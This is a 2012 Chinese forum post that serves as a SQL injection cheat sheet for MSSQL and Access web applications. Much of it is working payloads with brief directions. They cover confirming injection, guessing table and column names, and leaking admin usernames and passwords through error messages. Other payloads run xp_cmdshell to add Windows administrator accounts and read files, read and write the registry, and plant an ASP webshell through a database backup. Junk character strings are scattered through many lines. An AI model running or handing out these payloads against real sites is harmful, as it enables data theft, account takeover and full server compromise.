找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2449|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
. s, D/ w/ }3 B* f;and 1=1 * n% I- x. P. q: C2 A7 E7 N9 j3 Z- a
;and 1=2 3 ~, D: w: {; }
& j4 c, O4 H. z/ B/ q/ w
2.初步判断是否是mssql . ~0 H# h4 U0 k# }# C. C' _7 L5 w" ]4 S
;and user>0
+ V$ f* A9 ?/ m1 o0 H4 \% [6 _3 P
3.判断数据库系统
+ g: }; U9 K1 Z2 C) }" k: d0 r4 [# u;and (select count(*) from sysobjects)>0 mssql
: `5 c; d. w2 y7 i. D  z;and (select count(*) from msysobjects)>0 access & X3 A& y1 _" ]% z0 ?+ N
" i) s6 _/ Z- ?. e
4.注入参数是字符 + L+ z5 K' V6 D" O  J
'and [查询条件] and ''=' ' K/ N, ]  B. k& j# A* [6 ?

( {& R5 f. O4 k/ I: U& w5.搜索时没过滤参数的 7 ~: |# e% w3 u
'and [查询条件] and '%25'=' , f) Y/ Q9 I' w3 I6 l+ `4 |, H
9 v) X+ W7 T5 S3 H' }
6.猜数表名
7 o$ E8 m& X3 k+ p;and (select Count(*) from [表名])>0 * `' q7 Z" v- p6 O* J% j
9 d; m" i) v; E  v1 H7 o; H5 R5 b: D
7.猜字段
( q! X& E- \4 n4 G1 q* F;and (select Count(字段名) from 表名)>0 / Z+ @* K! e9 r; [3 w" E
  e, W/ s# ~: L: I6 e
8.猜字段中记录长度
( X2 y2 _" |, Z) Z0 P4 r;and (select top 1 len(字段名) from 表名)>0 1 y1 D# k" o0 n$ B

( ~  G# N: J- H, z) w9.(1)猜字段的ascii值(access)
0 E1 ]- `1 O! `# @: p;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 ( \" O! G% F8 ^) {

2 P$ H4 m. N5 J! S(2)猜字段的ascii值(mssql) ; [. L/ _5 j7 z" b( u7 M
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
6 w- j# Y: G  T
; B, {# e/ `' E- T; K10.测试权限结构(mssql)
2 Y5 P1 d' d0 z: l+ S4 k;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 7 M8 J! _  _" \( a9 a
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
" o/ {6 R7 j, Q. `! }- H7 ^;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
  p$ R+ S2 o9 K8 h- Z) ?! r+ ]6 J;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
2 Q6 i6 `; i! D: W% C% W' y" P;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
  z% V$ ^9 S' a0 c1 Y; p' p;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
. F& s( `+ r, p1 b& x;and 1=(select IS_MEMBER('db_owner'));-- ; W7 c) E6 z) h, Z* |( G/ h3 R
) M5 u  ~8 Z8 Q+ K
11.添加mssql和系统的帐户
8 O) ]" @) X$ ]: V  u. Z7 z;exec master.dbo.sp_addlogin username;-- $ a' o: \) ^% s( u" z4 e+ T* e
;exec master.dbo.sp_password null,username,password;-- & t- |1 R- t0 b* U& r
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
% v2 P. {: E# R1 E4 E* c( K;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- / y0 p" _' B2 Q: X0 D, W
;exec master.dbo.xp_cmdshell 'net user username password /add';--
4 g& ^: x! C: q3 L0 y;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- " M5 _$ g  P2 S/ ^7 ]" M

! T  R$ V1 i1 \' v12.(1)遍历目录 . h; ]1 {* b8 d2 S
;create table dirs(paths varchar(100), id int) ( l; C2 t- D. l0 b2 |" s7 o
;insert dirs exec master.dbo.xp_dirtree 'c:\' ! P2 s  z, |2 J; G
;and (select top 1 paths from dirs)>0
$ ]/ V6 m3 c# R. ^. W;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
" |  Q  V$ X2 ~+ o
: ^- v- c) v) V(2)遍历目录
& ^" A/ z* O2 d8 k$ }4 c;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
# L6 X& t( d9 @" |0 ~;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
/ J1 s' H- F- X/ w1 e& R;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
$ H9 S) J$ M+ |;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 7 u) B/ I  U+ M2 U3 n$ x
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
  M. B# E7 `' h+ w: C6 p
. J9 v7 m9 ^5 Q( C7 {) J  T( G13.mssql中的存储过程 " r$ f7 U5 |( G5 ^
xp_regenumvalues 注册表根键, 子键
- D2 v: q0 o* D& ~* P;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 2 A! x5 S; _% c7 T  w9 W
xp_regread 根键,子键,键值名 ! X" T( l+ t+ b! T  G0 R
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 + ~/ ^. G: c6 U
xp_regwrite 根键,子键, 值名, 值类型, 值 1 i6 X8 v& i& C# F' W" t; r
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 6 U: R1 @/ h+ u. p) S. h/ A
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 ! U" U9 L; J0 P8 P! |" ?
xp_regdeletevalue 根键,子键,值名 5 x. X, p; m8 H9 P
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
( V* J1 y6 Z" j8 X9 |0 vxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
+ _: q+ ]) s+ T# q5 Q( O9 I3 b: Q# R, v: a5 C: q( u, s
14.mssql的backup创建webshell
& i8 n4 _0 C8 L. a$ f; t% Y  u  j7 Z$ Fuse model
1 K: p1 y) U+ m+ o$ hcreate table cmd(str image);
2 a3 ^( J7 T& I1 Rinsert into cmd(str) values ('<% Dim oScript %>'); ! F5 @# Q9 D0 @8 A
backup database model to disk='c:\l.asp';
* E. U8 ~9 X  o3 l8 t: }3 `. A* P
6 I9 G! q2 c* a15.mssql内置函数
$ `* B! T( j' J5 `! l: t& B( r;and (select @@version)>0 获得Windows的版本号
, J# [: k2 k' [' C;and user_name()='dbo' 判断当前系统的连接用户是不是sa
: Z& ?/ T+ V0 y' V! Z" v;and (select user_name())>0 爆当前系统的连接用户
/ {4 U! ^% o3 ?$ \) X3 [+ }. S;and (select db_name())>0 得到当前连接的数据库
+ p7 k- _. v0 B6 w
* L; W% {0 }; p! \$ b3 X
, c: B8 I) ?6 E$ W2 t$ @* h" J: {9 ?3 B# s
MSSQL手注暴库- A, G# M; }6 }( F; d' ?
! J  S" ^& f2 I/ u
1.暴出当前表名和列名
) k' h% D9 E3 W在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
/ u) Z' S' a3 E4 D8 L" p% i  U& u: p% Q) F
第一.爆出所有数据库名* a! s; [$ y# g/ p$ H- \6 Z
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
3 }$ n2 a; |2 b6 e0 i# A( D* _第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。* P$ Q% _/ Y) z* e8 h$ Q; F

. z; B1 @2 N4 X/ cand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名/ w, m6 D" d; J: [. C

, G7 K# L# x& R' x; h
( x5 P7 V$ f. z& t第二.爆出指定库中的所有表名1 R- E( v$ V7 S
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。5 @7 @+ s$ `' a$ V% |
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
, |; J' E% H) C3 H& ^) V9 A7 o6 Q2 W) N% F
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
: m3 c' z1 I/ B/ \and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
0 W+ g: m. l9 ?) Mand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
1 w, S! P$ |: M. o! Y  W" I5 G4 W) {: p' }  I% O
4.爆出指定表中的所有列名
( R* X: e" B$ @+ B! vand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 0 p: M$ N% H: l
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'4 \9 e$ k0 T! M& q+ |* g

/ f8 t4 W) O( J" @9 K0 O: ~and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
( C  l# X9 r7 V5 Q- L9 j6 H; I# g: n" P1 W2 k: M: O7 U: h  x
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
/ l+ y' O3 S6 S* m依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。5 ]& q' @1 X/ |8 c/ Q
' q' @- J* P, p# A

. M& X0 y: [1 z9 u2 P( Z- hand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值% c- h" A* y6 a- O2 ]2 @9 a, E
7 |/ p3 p+ `6 u
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名4 q* n5 t0 H6 a+ ]

6 h0 Q& g1 g6 `" B. H" @and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 7 E+ e: t" O* _& }, Q7 p1 \9 a
$ }, K5 y" F7 v9 Z

+ y+ d, L7 z; j& P* d# D4 U. ~5 w) u- Y$ K
5.读取指定表中的数据
3 }& X+ i3 P0 c6 F  I% C3 F0 R# T
9 z' _0 p; d1 H: k8 g) }! Rand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
; U9 f) B0 H% s8 F5 i: K1 e& S# ?% }& M. ^- P+ y$ D
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--+ ?$ K4 k6 F& U
; {9 U7 A, X. q# u1 L" R
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
* Z  E' @' r$ I- W
4 t, ~0 U; A- f& G! m. N2 r( y; U5 i- U$ q; J  ?$ d4 Q" q
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)& m; N! r8 Y$ Z
* w0 d& d  \8 @: f# a6 `2 Q
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
7 u; ]% b/ s! b3 h1 }
+ d2 J. O* r" o3 T! iand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
  v6 o* _+ K4 n7 A2 ~0 l1 @  P. r7 l2 E2 ]
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
1 W2 [( f8 K# B7 e8 Y1 G2 x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表